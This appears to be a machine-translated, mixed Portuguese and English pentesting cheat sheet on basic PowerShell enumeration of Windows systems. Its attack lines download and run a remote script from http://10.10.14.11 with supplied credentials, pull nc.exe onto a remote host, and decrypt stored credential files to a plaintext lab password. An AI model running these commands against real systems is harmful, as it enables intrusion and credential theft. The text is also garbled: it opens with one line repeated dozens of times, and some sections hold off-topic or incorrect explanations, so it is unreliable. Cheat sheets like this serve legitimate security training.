  • get-logged-on-users.ps1: Este script recupera uma lista de usuários que estão atualmente logados no sistema.

  • get-logged-on-users.ps1: This script retrieves a list of users who are currently logged on to the system.

  • get-logged-on-users.ps1: Este script recupera uma lista de usuários que estão atualmente logados no sistema.

  • get-logged-on-users.ps1: This script retrieves a list of users who are currently logged on to the system.

  • get-logged-on-users.ps1: Este script recupera uma lista de usuários que estão atualmente logados no sistema.

  • get-logged-on-users.ps1: This script retrieves a list of users who are currently logged on to the system.

  • get-logged-on-users.ps1: Este script recupera uma lista de usuários que estão atualmente logados no sistema.

  • get-logged-on-users.ps1: This script retrieves a list of users who are currently logged on to the system.

  • get-logged-on-users.ps1: Este script recupera uma lista de usuários que estão atualmente logados no sistema.

  • get-logged-on-users.ps1: This script retrieves a list of users who are currently logged on to the system.

  • get-logged-on-users.ps1: Este script recupera uma lista de usuários que estão atualmente logados no sistema.

  • get-logged-on-users.ps1: This script retrieves a list of users who are currently logged on to the system.

  • get-logged-on-users.ps1: Este script recupera uma lista de usuários que estão atualmente logados no sistema.

  • get-logged-on-users.ps1: This script retrieves a list of users who are currently logged on to the system.

  • get-logged-on-users.ps1: Este script recupera uma lista de usuários que estão atualmente logados no sistema.

  • get-logged-on-users.ps1: This script retrieves a list of users who are currently logged on to the system.

  • get-logged-on-users.ps1: Este script recupera uma lista de usuários que estão atualmente logados no sistema.

  • get-logged-on-users.ps1: This script retrieves a list of users who are currently logged on to the system.

  • get-logged-on-users.ps1: Este script recupera uma lista de usuários que estão atualmente logados no sistema.

  • get-logged-on-users.ps1: This script retrieves a list of users who are currently logged on to the system.

  • get-logged-on-users.ps1: Este script recupera uma lista de usuários que estão atualmente logados no sistema.

  • get-logged-on-users.ps1: This script retrieves a list of users who are currently logged on to the system.

  • get-logged-on-users.ps1: Este script recupera uma lista de usuários que estão atualmente logados no sistema.

  • get-logged-on-users.ps1: This script retrieves a list of users who are currently logged on to the system.

  • get-logged-on-users.ps1: Este script recupera uma lista de usuários que estão atualmente logados no sistema.

  • get-logged-on-users.ps1: This script retrieves a list of users who are currently logged on to the system.

  • get-logged-on-users.ps1: Este script recupera uma lista de usuários que estão atualmente logados no sistema.

  • get-logged-on-users.ps1: This script retrieves a list of users who are currently logged on to the system.

  • get-logged-on-users.ps1: Este script recupera uma lista de usuários que estão atualmente logados no sistema.

  • get-logged-on-users.ps1: This script retrieves a list of users who are currently logged on to the system.

  • get-logged-on-users.ps1: Este script recupera uma lista de usuários que estão atualmente logados no sistema.

  • get-logged-on-users.ps1: This script retrieves a list of users who are currently logged on to the system.

  • get-logged-on-users.ps1: Este script recupera uma lista de usuários que estão atualmente logados no sistema.

  • get-logged-on-users.ps1: This script retrieves a list of users who are currently logged on to the system.

  • get-logged-on-users.ps1: Este script recupera uma lista de usuários que estão atualmente logados no sistema.

  • get-logged-on-users.ps1: This script retrieves a list of users who are currently logged on to the system.

  • get-logged-on-users.ps1: Este script recupera uma lista de usuários que estão atualmente logados no sistema.

  • get-logged-on-users.ps1: This script retrieves a list of users who are currently logged on to the system.

  • get-logged-on-users.ps1: Este script recupera uma lista de usuários que estão atualmente logados no sistema.

  • get-logged-on-users.ps1: This script retrieves a list of users who are currently logged on to the system.

  • get-logged-on-users.ps1: Este script recupera uma lista de usuários que estão atualmente logados no sistema.

  • get-logged-on-users.ps1: This script retrieves a list of users who are currently logged on to the system.

  • get-logged-on-users.ps1: Este script recupera uma lista de usuários que estão atualmente logados no sistema.

  • get-logged-on-users.ps1: This script retrieves a list of users who are currently logged on to the system.

  • get-logged-on-users.ps1: Este script recupera uma lista de usuários que estão atualmente logados no sistema.

  • get-logged-on-users.ps1: This script retrieves a list of users who are currently logged on to the system.

  • get-logged-on-users.ps1: Este script recupera uma lista de usuários que estão atualmente logados no sistema.

  • get-logged-on-users.ps1: This script retrieves a list of users who are currently logged on to the system.

  • get-logged-on-users.ps1: Este script recupera uma lista de usuários que estão atualmente logados no sistema.

  • get-logged-on-users.ps1: This script retrieves a list of users who are currently logged on to the system.

  • get-logged-on-users.ps1: Este script recupera uma lista de usuários que estão atualmente logados no sistema.

  • get-logged-on-users.ps1: This script retrieves a list of users who are currently logged on to the system.

  • get-logged-on-users.ps1: Este script recupera uma lista de usuários que estão atualmente logados no sistema.

  • get-logged-on-users.ps1: This script retrieves a list of users who are currently logged on to the system.

  • get-logged-on-users.ps1: Este script recupera uma lista de usuários que estão atualmente logados no sistema.

  • get-logged-on-users.ps1: This script retrieves a list of users who are currently logged on to the system.

  • get-logged-on-users.ps1: Este script recupera uma lista de usuários que estão atualmente logados no sistema.

  • get-logged-on-users.ps1: This script retrieves a list of users who are currently logged on to the system.

  • get-logged-on-users.ps1: Este script recupera uma lista de usuários que estão atualmente logados no sistema.

  • get-logged-on-users.ps1: This script retrieves a list of users who are currently logged on to the system.

  • get-logged-on-users.ps1: Este script recupera uma lista de usuários que estão atualmente logados no sistema.

  • get-logged-on-users.ps1: This script retrieves a list of users who are currently logged on to the system.

  • get-logged-on-users.ps1: Este script recupera uma lista de usuários que estão atualmente logados no sistema.

  • get-logged-on-users.ps1: This script retrieves a list of users who are currently logged on to the system.

  • get-logged-on-users.ps1: Este script recupera uma lista de usuários que estão atualmente logados no sistema.

  • get-logged-on-users.ps1: This script retrieves a list of users who are currently logged on to the system.

  • get-logged-on-users.ps1: Este script recupera uma lista de usuários que estão atualmente logados no sistema.

  • get-logged-on-users.ps1: This script retrieves a list of users who are currently logged on to the system.

  • get-logged-on-users.ps1: Este script recupera uma lista de usuários que estão atualmente logados no sistema.

  • get-logged-on-users.ps1: This script retrieves a list of users who are currently logged on to the system.

  • get-logged-on-users.ps1: Este script recupera uma lista de usuários que estão atualmente logados no sistema.

  • get-logged-on-users.ps1: This script retrieves a list of users who are currently logged on to the system.

  • get-logged-on-users.ps1: Este script recupera uma lista de usuários que estão atualmente logados no sistema.

  • get-logged-on-users.ps1: This script retrieves a list of users who are currently logged on to the system.

  • get-logged-on-users.ps1: Este script recupera uma lista de usuários que estão atualmente logados no sistema.

  • get-logged-on-users.ps1: This script retrieves a list of users who are currently logged on to the system.

  • get-logged-on-users.ps1: Este script recupera uma lista de usuários que estão atualmente logados no sistema.

  • get-logged-on-users.ps1: This script retrieves a list of users who are currently logged on to the system.

  • get-logged-on-users.ps1: Este script recupera uma lista de usuários que estão atualmente logados no sistema.

  • get-logged-on-users.ps1: This script retrieves a list of users who are currently logged on to the system.

  • get-logged-on-users.ps1: Este script recupera uma lista de usuários que estão atualmente logados no sistema.

  • get-logged-on-users.ps1: This script retrieves a list of users who are currently logged on to the system.

  • get-logged-on-users.ps1: Este script recupera uma lista de usu

Get-ChildItem Env: | ft Key,Value #get all values
$env:UserName @Get UserName value

Outros drives conectados

When conducting a penetration test on a Windows system, it is important to gather as much information as possible about the target. One useful piece of information is the list of connected drives on the system. This can help identify additional storage devices or network shares that may contain sensitive data.

In PowerShell, you can use the Get-PSDrive cmdlet to retrieve a list of all connected drives. This cmdlet returns information about both local and remote drives, including drive letters, drive types, and the root directory of each drive.

To retrieve a list of connected drives, open a PowerShell session and run the following command:

Get-PSDrive

This will display a table with information about each connected drive, including the drive letter, drive type, and root directory. The drive type can be one of the following:

  • FileSystem: This indicates a local disk drive.
  • Registry: This indicates a registry hive on the local system.
  • Alias: This indicates a PowerShell alias.
  • Variable: This indicates a PowerShell variable.
  • Function: This indicates a PowerShell function.
  • Certificate: This indicates a certificate store on the local system.
  • Environment: This indicates an environment variable on the local system.
  • FileSystemProvider: This indicates a file system provider drive.
  • RegistryProvider: This indicates a registry provider drive.
  • VariableProvider: This indicates a variable provider drive.

By examining the list of connected drives, you may discover additional storage devices or network shares that could be potential targets for further investigation or exploitation.

Get-PSDrive | where {$_.Provider -like "Microsoft.PowerShell.Core\FileSystem"}| ft Name,Root

Lixeira

A Lixeira é uma pasta especial no sistema operacional Windows que armazena arquivos excluídos. Esses arquivos são mantidos na Lixeira até que sejam permanentemente excluídos ou restaurados pelo usuário. A Lixeira é uma parte importante do sistema operacional, pois fornece uma camada adicional de segurança, permitindo que os usuários recuperem acidentalmente arquivos excluídos.

No entanto, do ponto de vista de um pentester, a Lixeira pode ser uma fonte valiosa de informações. Os arquivos excluídos podem conter dados confidenciais, como senhas, informações pessoais ou até mesmo documentos importantes. Portanto, explorar a Lixeira pode ser uma técnica útil durante um teste de penetração.

Existem várias maneiras de explorar a Lixeira usando o PowerShell. O PowerShell é uma poderosa ferramenta de linha de comando e script que permite aos pentesters automatizar tarefas e executar comandos complexos. Neste diretório, você encontrará alguns scripts básicos do PowerShell que podem ser usados para explorar a Lixeira durante um teste de penetração.

Os scripts fornecidos neste diretório incluem:

  • list-deleted-files.ps1: Este script lista todos os arquivos excluídos na Lixeira.
  • restore-deleted-files.ps1: Este script restaura todos os arquivos excluídos na Lixeira.
  • permanently-delete-files.ps1: Este script exclui permanentemente todos os arquivos na Lixeira.

Esses scripts podem ser usados como ponto de partida para desenvolver técnicas mais avançadas de exploração da Lixeira usando o PowerShell.

$shell = New-Object -com shell.application
$rb = $shell.Namespace(10)
$rb.Items()

https://jdhitsolutions.com/blog/powershell/7024/managing-the-recycle-bin-with-powershell/

Reconhecimento de Domínio

{% content-ref url="powerview.md" %} powerview.md {% endcontent-ref %}

Usuários

Get-LocalUser | ft Name,Enabled,Description,LastLogon
Get-ChildItem C:\Users -Force | select Name

String Segura para Texto Simples

O PowerShell fornece uma maneira conveniente de converter uma string segura em texto simples. Isso pode ser útil durante testes de penetração para obter informações sensíveis armazenadas em formato seguro.

Aqui está um exemplo de como converter uma string segura em texto simples usando o PowerShell:

$secureString = ConvertTo-SecureString -String "MinhaSenhaSegura" -AsPlainText -Force
$plainText = [System.Runtime.InteropServices.Marshal]::PtrToStringAuto([System.Runtime.InteropServices.Marshal]::SecureStringToBSTR($secureString))

Neste exemplo, a variável $secureString contém a string segura que desejamos converter. Usamos o cmdlet ConvertTo-SecureString para criar um objeto de string segura a partir da string fornecida. Em seguida, usamos a função [System.Runtime.InteropServices.Marshal]::SecureStringToBSTR para converter o objeto de string segura em um ponteiro BSTR. Finalmente, usamos a função [System.Runtime.InteropServices.Marshal]::PtrToStringAuto para converter o ponteiro BSTR em texto simples.

Após a execução dessas etapas, a variável $plainText conterá o valor da string segura convertida em texto simples.

É importante lembrar que a conversão de uma string segura em texto simples pode expor informações sensíveis. Portanto, é essencial tomar precauções adequadas ao lidar com dados confidenciais.

$pass = "01000000d08c9ddf0115d1118c7a00c04fc297eb01000000e4a07bc7aaeade47925c42c8be5870730000000002000000000003660000c000000010000000d792a6f34a55235c22da98b0c041ce7b0000000004800000a00000001000000065d20f0b4ba5367e53498f0209a3319420000000d4769a161c2794e19fcefff3e9c763bb3a8790deebf51fc51062843b5d52e40214000000ac62dab09371dc4dbfd763fea92b9d5444748692" | convertto-securestring
$user = "HTB\Tom"
$cred = New-Object System.management.Automation.PSCredential($user, $pass)
$cred.GetNetworkCredential() | fl

UserName       : Tom
Password       : 1ts-mag1c!!!
SecurePassword : System.Security.SecureString
Domain         : HTB

Ou diretamente analisando a partir de XML:

$cred = Import-CliXml -Path cred.xml; $cred.GetNetworkCredential() | Format-List *

UserName       : Tom
Password       : 1ts-mag1c!!!
SecurePassword : System.Security.SecureString
Domain         : HTB

SUDO

O comando sudo é uma ferramenta poderosa que permite aos usuários executarem comandos com privilégios de superusuário em sistemas baseados em Unix. Isso é útil para realizar tarefas administrativas que exigem permissões elevadas.

Sintaxe

A sintaxe básica do comando sudo é a seguinte:

sudo [opções] comando

Exemplos de uso

  1. Executar um comando como superusuário:
sudo comando
  1. Executar um comando como outro usuário:
sudo -u usuário comando
  1. Executar um comando com um ambiente de usuário diferente:
sudo -i comando

Opções comuns

Aqui estão algumas opções comuns que podem ser usadas com o comando sudo:

  • -u usuário: Executa o comando como o usuário especificado.
  • -i: Inicia um shell interativo com o ambiente do usuário especificado.
  • -s: Inicia um shell não interativo com o ambiente do usuário especificado.
  • -l: Lista os comandos permitidos para o usuário atual.
  • -k: Invalida o tempo limite de autenticação do sudo.
  • -v: Atualiza o tempo limite de autenticação do sudo.

Dicas de segurança

  • Evite usar o comando sudo desnecessariamente, pois isso pode expor seu sistema a riscos de segurança.
  • Certifique-se de que apenas usuários confiáveis tenham permissão para usar o comando sudo.
  • Monitore os logs do sistema para detectar atividades suspeitas relacionadas ao uso do sudo.
  • Mantenha seu sistema operacional e o comando sudo atualizados para corrigir quaisquer vulnerabilidades conhecidas.

Conclusão

O comando sudo é uma ferramenta essencial para administradores de sistemas Unix. No entanto, é importante usá-lo com cuidado e seguir as melhores práticas de segurança para evitar possíveis explorações.

#CREATE A CREDENTIAL OBJECT
$pass = ConvertTo-SecureString '<PASSWORD>' -AsPlainText -Force
$cred = New-Object System.Management.Automation.PSCredential("<USERNAME>", $pass)

#For local:
Start-Process -Credential ($cred)  -NoNewWindow powershell "iex (New-Object Net.WebClient).DownloadString('http://10.10.14.11:443/ipst.ps1')"

#For WINRM
#CHECK IF CREDENTIALS ARE WORKING EXECUTING whoami (expected: username of the credentials user)
Invoke-Command -Computer ARKHAM -ScriptBlock { whoami } -Credential $cred
#DOWNLOAD nc.exe
Invoke-Command -Computer ARKHAM -ScriptBlock { IWR -uri 10.10.14.17/nc.exe -outfile nc.exe } -credential $cred

Start-Process powershell -Credential $pp -ArgumentList '-noprofile -command &{Start-Process C:\xyz\nc.bat -verb Runas}'

#Another method
$secpasswd = ConvertTo-SecureString "<password>" -AsPlainText -Force
$mycreds = New-Object System.Management.Automation.PSCredential ("<user>", $secpasswd)
$computer = "<hostname>"

Grupos

Grupos são uma parte fundamental da administração de sistemas Windows. Eles são usados para agrupar usuários com permissões e privilégios semelhantes. Neste capítulo, discutiremos os diferentes tipos de grupos no Windows e como eles podem ser usados em um contexto de pentesting.

Grupos Locais

Os grupos locais são criados em um único sistema e são usados para gerenciar permissões e privilégios nesse sistema específico. Existem três tipos principais de grupos locais:

  • Administradores: Este grupo tem privilégios administrativos completos no sistema. Os membros deste grupo podem realizar qualquer ação no sistema, incluindo a instalação de software, a modificação de configurações do sistema e a criação de novas contas de usuário.

  • Usuários: Este grupo é usado para usuários regulares que não têm privilégios administrativos. Os membros deste grupo têm acesso limitado ao sistema e não podem realizar ações que afetem o sistema como um todo.

  • Convidados: Este grupo é usado para usuários com acesso limitado ao sistema. Os membros deste grupo têm permissões mínimas e não podem realizar ações que afetem o sistema ou outros usuários.

Grupos de Domínio

Os grupos de domínio são criados em um ambiente de domínio do Active Directory e são usados para gerenciar permissões e privilégios em vários sistemas dentro do domínio. Existem vários tipos de grupos de domínio, incluindo:

  • Administradores de Domínio: Este grupo tem privilégios administrativos completos em todos os sistemas dentro do domínio. Os membros deste grupo podem realizar qualquer ação em qualquer sistema dentro do domínio.

  • Usuários de Domínio: Este grupo é usado para usuários regulares que não têm privilégios administrativos. Os membros deste grupo têm acesso limitado aos sistemas dentro do domínio.

  • Grupos de Segurança: Esses grupos são usados para agrupar usuários com permissões e privilégios semelhantes em um contexto de segurança específico. Por exemplo, pode haver um grupo de segurança para administradores de banco de dados ou um grupo de segurança para administradores de rede.

  • Grupos de Distribuição: Esses grupos são usados para enviar mensagens de email para um grupo de usuários. Eles não têm permissões ou privilégios especiais.

Identificação de Grupos

Os grupos no Windows são identificados por um SID (Security Identifier), que é um valor exclusivo atribuído a cada grupo. Os SIDs são usados para controlar permissões e privilégios em um sistema Windows.

Durante um teste de penetração, a identificação de grupos pode ser útil para entender a estrutura de permissões e privilégios em um sistema Windows. Isso pode ajudar a identificar possíveis pontos de entrada e a explorar vulnerabilidades de segurança.

Get-LocalGroup | ft Name #All groups
Get-LocalGroupMember Administrators | ft Name, PrincipalSource #Members of Administrators

Área de Transferência

A área de transferência é um recurso do sistema operacional que permite copiar e colar informações entre aplicativos. No entanto, esse recurso também pode ser explorado por hackers para obter informações confidenciais.

Roubo de Dados da Área de Transferência

Os hackers podem usar técnicas para roubar dados da área de transferência, como senhas, números de cartão de crédito e outras informações sensíveis. Isso pode ser feito por meio de malware ou scripts maliciosos.

Protegendo a Área de Transferência

Para proteger seus dados da área de transferência, é importante seguir algumas práticas recomendadas:

  • Evite copiar informações confidenciais para a área de transferência, sempre que possível.
  • Utilize senhas fortes e evite copiá-las para a área de transferência.
  • Mantenha seu sistema operacional e aplicativos atualizados para corrigir possíveis vulnerabilidades.
  • Utilize ferramentas de segurança, como antivírus e firewalls, para detectar e bloquear malware.
  • Esteja atento a possíveis ataques de phishing e evite clicar em links suspeitos ou fornecer informações confidenciais.

Ao seguir essas práticas, você pode ajudar a proteger seus dados da área de transferência contra possíveis ataques de hackers.

Get-Clipboard

Processos

Um processo é uma instância de um programa em execução em um sistema operacional. No Windows, os processos são gerenciados pelo Gerenciador de Tarefas. Os processos podem ser executados em primeiro plano ou em segundo plano e podem ter privilégios diferentes, dependendo das permissões do usuário.

Listando processos

Para listar todos os processos em execução no sistema, podemos usar o seguinte comando no PowerShell:

Get-Process

Este comando exibirá uma lista de todos os processos em execução, incluindo o nome do processo, o ID do processo (PID), o uso de CPU e memória, entre outras informações.

Finalizando processos

Para finalizar um processo específico, podemos usar o comando Stop-Process seguido pelo PID do processo. Por exemplo, para finalizar o processo com PID 1234, podemos usar o seguinte comando:

Stop-Process -Id 1234

Executando comandos em segundo plano

O PowerShell também permite executar comandos em segundo plano, o que pode ser útil durante um teste de penetração. Para executar um comando em segundo plano, podemos usar o operador & seguido pelo comando. Por exemplo, para executar o comando ping em segundo plano, podemos usar o seguinte comando:

& ping 127.0.0.1 -n 10

Isso executará o comando ping em segundo plano e enviará 10 pacotes para o endereço IP 127.0.0.1.

Conclusão

O conhecimento sobre processos é essencial para um testador de penetração, pois permite listar e finalizar processos no sistema alvo. Além disso, a capacidade de executar comandos em segundo plano pode ser útil para realizar tarefas específicas durante um teste de penetração.

Get-Process | where {$_.ProcessName -notlike "svchost*"} | ft ProcessName, Id

Serviços

Introduction

Introdução

This section covers basic PowerShell commands that can be used by pentesters to gather information about services running on a Windows system.

Esta seção aborda comandos básicos do PowerShell que podem ser usados por pentesters para obter informações sobre os serviços em execução em um sistema Windows.

Service Management

Gerenciamento de Serviços

PowerShell provides several cmdlets for managing services on a Windows system. These cmdlets can be used to start, stop, restart, and query the status of services.

O PowerShell fornece vários cmdlets para gerenciar serviços em um sistema Windows. Esses cmdlets podem ser usados para iniciar, parar, reiniciar e consultar o status dos serviços.

Get-Service

Get-Service

The Get-Service cmdlet is used to retrieve information about services on a local or remote system. It can be used to list all services or filter the results based on specific criteria.

O cmdlet Get-Service é usado para recuperar informações sobre serviços em um sistema local ou remoto. Ele pode ser usado para listar todos os serviços ou filtrar os resultados com base em critérios específicos.

Get-Service
Get-Service

This command will list all services running on the local system.

Este comando listará todos os serviços em execução no sistema local.

Get-Service -Name "wuauserv"
Get-Service -Name "wuauserv"

This command will retrieve information about the "wuauserv" service.

Este comando recuperará informações sobre o serviço "wuauserv".

Start-Service

Start-Service

The Start-Service cmdlet is used to start a service on a local or remote system.

O cmdlet Start-Service é usado para iniciar um serviço em um sistema local ou remoto.

Start-Service -Name "wuauserv"
Start-Service -Name "wuauserv"

This command will start the "wuauserv" service.

Este comando iniciará o serviço "wuauserv".

Stop-Service

Stop-Service

The Stop-Service cmdlet is used to stop a service on a local or remote system.

O cmdlet Stop-Service é usado para parar um serviço em um sistema local ou remoto.

Stop-Service -Name "wuauserv"
Stop-Service -Name "wuauserv"

This command will stop the "wuauserv" service.

Este comando interromperá o serviço "wuauserv".

Restart-Service

Restart-Service

The Restart-Service cmdlet is used to restart a service on a local or remote system.

O cmdlet Restart-Service é usado para reiniciar um serviço em um sistema local ou remoto.

Restart-Service -Name "wuauserv"
Restart-Service -Name "wuauserv"

This command will restart the "wuauserv" service.

Este comando reiniciará o serviço "wuauserv".

Conclusion

Conclusão

Understanding how to manage services using PowerShell is essential for pentesters. These basic commands can be used to gather information about services, start or stop services, and restart services as needed.

Compreender como gerenciar serviços usando o PowerShell é essencial para pentesters. Esses comandos básicos podem ser usados para obter informações sobre serviços, iniciar ou parar serviços e reiniciar serviços conforme necessário.

Get-Service

Senha a partir de uma string segura

When performing penetration testing on Windows systems, it is common to encounter situations where passwords are stored as secure strings. Secure strings are a way to protect sensitive information, such as passwords, by encrypting them and storing them in memory.

To retrieve the actual password from a secure string, you can use PowerShell. PowerShell provides a built-in cmdlet called ConvertFrom-SecureString that allows you to convert a secure string back to its original form.

Here's an example of how you can use PowerShell to retrieve a password from a secure string:

$secureString = ConvertTo-SecureString -String "MySecurePassword" -AsPlainText -Force
$password = [Runtime.InteropServices.Marshal]::PtrToStringAuto([Runtime.InteropServices.Marshal]::SecureStringToBSTR($secureString))

In the above example, we first create a secure string using the ConvertTo-SecureString cmdlet. We pass the desired password as a plain text string and use the -AsPlainText and -Force parameters to ensure that the secure string is created.

Next, we use the [Runtime.InteropServices.Marshal]::SecureStringToBSTR method to convert the secure string to a BSTR (Basic String) representation. Finally, we use the [Runtime.InteropServices.Marshal]::PtrToStringAuto method to convert the BSTR back to a regular string, which represents the actual password.

By using this technique, you can retrieve passwords from secure strings during your penetration testing activities. However, it's important to note that this method requires access to the secure string itself, so it may not always be applicable in all scenarios.

$pw=gc admin-pass.xml | convertto-securestring #Get the securestring from the file
$cred=new-object system.management.automation.pscredential("administrator", $pw)
$cred.getnetworkcredential() | fl * #Get plaintext password

Tarefas Agendadas

Scheduled tasks are a powerful feature in Windows that allow you to automate the execution of scripts, commands, or programs at specific times or intervals. As a pentester, understanding how to manipulate and exploit scheduled tasks can be valuable for gaining persistence, privilege escalation, or executing malicious actions on a target system.

As tarefas agendadas são um recurso poderoso no Windows que permite automatizar a execução de scripts, comandos ou programas em horários ou intervalos específicos. Como um pentester, entender como manipular e explorar tarefas agendadas pode ser valioso para obter persistência, escalonamento de privilégios ou executar ações maliciosas em um sistema alvo.

Viewing Scheduled Tasks

To view the list of scheduled tasks on a Windows system, you can use the Get-ScheduledTask cmdlet in PowerShell. This cmdlet retrieves information about all the scheduled tasks on the local system or a remote system.

Para visualizar a lista de tarefas agendadas em um sistema Windows, você pode usar o cmdlet Get-ScheduledTask no PowerShell. Este cmdlet recupera informações sobre todas as tarefas agendadas no sistema local ou em um sistema remoto.

Get-ScheduledTask

Creating Scheduled Tasks

To create a new scheduled task, you can use the New-ScheduledTask cmdlet in PowerShell. This cmdlet allows you to specify the script, command, or program to be executed, as well as the schedule for the task.

Para criar uma nova tarefa agendada, você pode usar o cmdlet New-ScheduledTask no PowerShell. Este cmdlet permite especificar o script, comando ou programa a ser executado, bem como o agendamento da tarefa.

New-ScheduledTask -Action (New-ScheduledTaskAction -Execute "C:\path\to\script.ps1") -Trigger (New-ScheduledTaskTrigger -Daily -At 3am)

Modifying Scheduled Tasks

To modify an existing scheduled task, you can use the Set-ScheduledTask cmdlet in PowerShell. This cmdlet allows you to change various properties of the task, such as the script, command, or program to be executed, the schedule, or the user account under which the task runs.

Para modificar uma tarefa agendada existente, você pode usar o cmdlet Set-ScheduledTask no PowerShell. Este cmdlet permite alterar várias propriedades da tarefa, como o script, comando ou programa a ser executado, o agendamento ou a conta de usuário sob a qual a tarefa é executada.

Set-ScheduledTask -TaskPath "\MyTasks" -TaskName "MyTask" -Action (New-ScheduledTaskAction -Execute "C:\path\to\newscript.ps1")

Deleting Scheduled Tasks

To delete a scheduled task, you can use the Unregister-ScheduledTask cmdlet in PowerShell. This cmdlet removes the specified task from the system.

Para excluir uma tarefa agendada, você pode usar o cmdlet Unregister-ScheduledTask no PowerShell. Este cmdlet remove a tarefa especificada do sistema.

Unregister-ScheduledTask -TaskPath "\MyTasks" -TaskName "MyTask"

Conclusion

Scheduled tasks are a fundamental component of Windows systems and can be leveraged by pentesters for various purposes. By understanding how to view, create, modify, and delete scheduled tasks using PowerShell, you can effectively manipulate and exploit this feature to achieve your objectives.

Get-ScheduledTask | where {$_.TaskPath -notlike "\Microsoft*"} | ft TaskName,TaskPath,State

Interfaces

As interfaces de rede são componentes essenciais para a comunicação de um sistema com a rede. No Windows, podemos usar o PowerShell para gerenciar e configurar as interfaces de rede.

Listar interfaces de rede

Para listar todas as interfaces de rede em um sistema Windows, podemos usar o seguinte comando PowerShell:

Get-NetAdapter

Este comando irá exibir informações detalhadas sobre todas as interfaces de rede, como nome, descrição, estado, endereço MAC, velocidade, entre outros.

Habilitar ou desabilitar uma interface de rede

Podemos usar o PowerShell para habilitar ou desabilitar uma interface de rede específica. Para isso, precisamos conhecer o nome da interface que queremos modificar.

Para desabilitar uma interface de rede, usamos o seguinte comando:

Disable-NetAdapter -Name "Nome da Interface"

Para habilitar uma interface de rede, usamos o seguinte comando:

Enable-NetAdapter -Name "Nome da Interface"

Substitua "Nome da Interface" pelo nome da interface de rede que você deseja habilitar ou desabilitar.

Configurar endereço IP e DNS

Podemos usar o PowerShell para configurar o endereço IP e os servidores DNS de uma interface de rede.

Para configurar o endereço IP de uma interface de rede, usamos o seguinte comando:

New-NetIPAddress -InterfaceAlias "Nome da Interface" -IPAddress "Endereço IP" -PrefixLength "Comprimento do Prefixo"

Substitua "Nome da Interface" pelo nome da interface de rede que você deseja configurar, "Endereço IP" pelo endereço IP desejado e "Comprimento do Prefixo" pelo comprimento do prefixo da máscara de sub-rede.

Para configurar os servidores DNS de uma interface de rede, usamos o seguinte comando:

Set-DnsClientServerAddress -InterfaceAlias "Nome da Interface" -ServerAddresses "Endereço IP do Servidor DNS Primário", "Endereço IP do Servidor DNS Secundário"

Substitua "Nome da Interface" pelo nome da interface de rede que você deseja configurar e "Endereço IP do Servidor DNS Primário" e "Endereço IP do Servidor DNS Secundário" pelos endereços IP dos servidores DNS desejados.

Alterar o nome de uma interface de rede

Podemos usar o PowerShell para alterar o nome de uma interface de rede.

Para alterar o nome de uma interface de rede, usamos o seguinte comando:

Rename-NetAdapter -Name "Nome da Interface" -NewName "Novo Nome da Interface"

Substitua "Nome da Interface" pelo nome atual da interface de rede que você deseja renomear e "Novo Nome da Interface" pelo novo nome desejado.

Get-NetIPConfiguration | ft InterfaceAlias,InterfaceDescription,IPv4Address
Get-DnsClientServerAddress -AddressFamily IPv4 | ft

Firewall

Um firewall é uma medida de segurança essencial para proteger um sistema contra ameaças externas. Ele atua como uma barreira entre a rede interna e a internet, controlando o tráfego de entrada e saída com base em regras predefinidas.

No Windows, o firewall pode ser configurado usando o PowerShell. O PowerShell é uma poderosa ferramenta de linha de comando e scripting que permite automatizar tarefas administrativas.

Aqui estão alguns comandos básicos do PowerShell para configurar o firewall no Windows:

  1. Verificar o status do firewall:
Get-NetFirewallProfile
  1. Ativar o firewall:
Set-NetFirewallProfile -Profile Domain,Public,Private -Enabled True
  1. Desativar o firewall:
Set-NetFirewallProfile -Profile Domain,Public,Private -Enabled False
  1. Abrir uma porta específica:
New-NetFirewallRule -DisplayName "Allow Port 80" -Direction Inbound -LocalPort 80 -Protocol TCP -Action Allow
  1. Bloquear uma porta específica:
New-NetFirewallRule -DisplayName "Block Port 22" -Direction Inbound -LocalPort 22 -Protocol TCP -Action Block

Lembre-se de que a configuração do firewall deve ser feita com cuidado, levando em consideração as necessidades de segurança do sistema. É importante entender as implicações de cada regra antes de aplicá-las.

Get-NetFirewallRule -Enabled True

Get-NetFirewallRule -Direction Outbound -Enabled True -Action Block
Get-NetFirewallRule -Direction Outbound -Enabled True -Action Allow
Get-NetFirewallRule -Direction Inbound -Enabled True -Action Block
Get-NetFirewallRule -Direction Inbound -Enabled True -Action Allow

# Open SSH to the world
New-NetFirewallRule -DisplayName 'SSH (Port 22)' -Direction Inbound -LocalPort 22 -Protocol TCP -Action Allow

# Get name, proto, local and rremote ports, remote address, penable,profile and direction
## You can user the following line changing the initial filters to indicat a difefrent direction or action
Get-NetFirewallRule -Direction Outbound -Enabled True -Action Block | Format-Table -Property  DisplayName, @{Name='Protocol';Expression={($PSItem | Get-NetFirewallPortFilter).Protocol}},@{Name='LocalPort';Expression={($PSItem | Get-NetFirewallPortFilter).LocalPort}}, @{Name='RemotePort';Expression={($PSItem | Get-NetFirewallPortFilter).RemotePort}},@{Name='RemoteAddress';Expression={($PSItem | Get-NetFirewallAddressFilter).RemoteAddress}},Profile,Direction,Action

Rota

route print

ARP

O Protocolo de Resolução de Endereço (ARP) é um protocolo de rede usado para associar um endereço IP a um endereço MAC em uma rede local. Ele permite que os dispositivos na mesma rede se comuniquem uns com os outros usando endereços MAC.

O ARP funciona enviando uma solicitação de ARP para descobrir o endereço MAC correspondente a um determinado endereço IP. O dispositivo de destino responde com seu endereço MAC, permitindo que o dispositivo de origem estabeleça uma conexão direta.

Os hackers podem explorar o ARP para realizar ataques de envenenamento de cache ARP, onde eles falsificam as respostas de ARP para redirecionar o tráfego de rede para um dispositivo controlado por eles. Isso pode ser usado para interceptar dados sensíveis ou realizar ataques de negação de serviço.

É importante proteger sua rede contra ataques de ARP, implementando medidas de segurança, como a autenticação de ARP, que verifica a autenticidade das respostas de ARP recebidas. Além disso, é recomendado monitorar regularmente o tráfego de ARP em sua rede para detectar atividades suspeitas.

Get-NetNeighbor -AddressFamily IPv4 | ft ifIndex,IPAddress,LinkLayerAddress,State

Hosts

Os arquivos de hosts são usados para mapear nomes de domínio para endereços IP. Eles são usados principalmente para bloquear ou redirecionar o tráfego de rede. No Windows, o arquivo de hosts está localizado em C:\Windows\System32\drivers\etc\hosts.

Modificando o arquivo de hosts

Para modificar o arquivo de hosts, você pode usar o PowerShell. Aqui estão alguns comandos úteis:

  • Visualizar o conteúdo do arquivo de hosts:
Get-Content C:\Windows\System32\drivers\etc\hosts
  • Adicionar uma entrada ao arquivo de hosts:
Add-Content -Path C:\Windows\System32\drivers\etc\hosts -Value "127.0.0.1 exemplo.com"
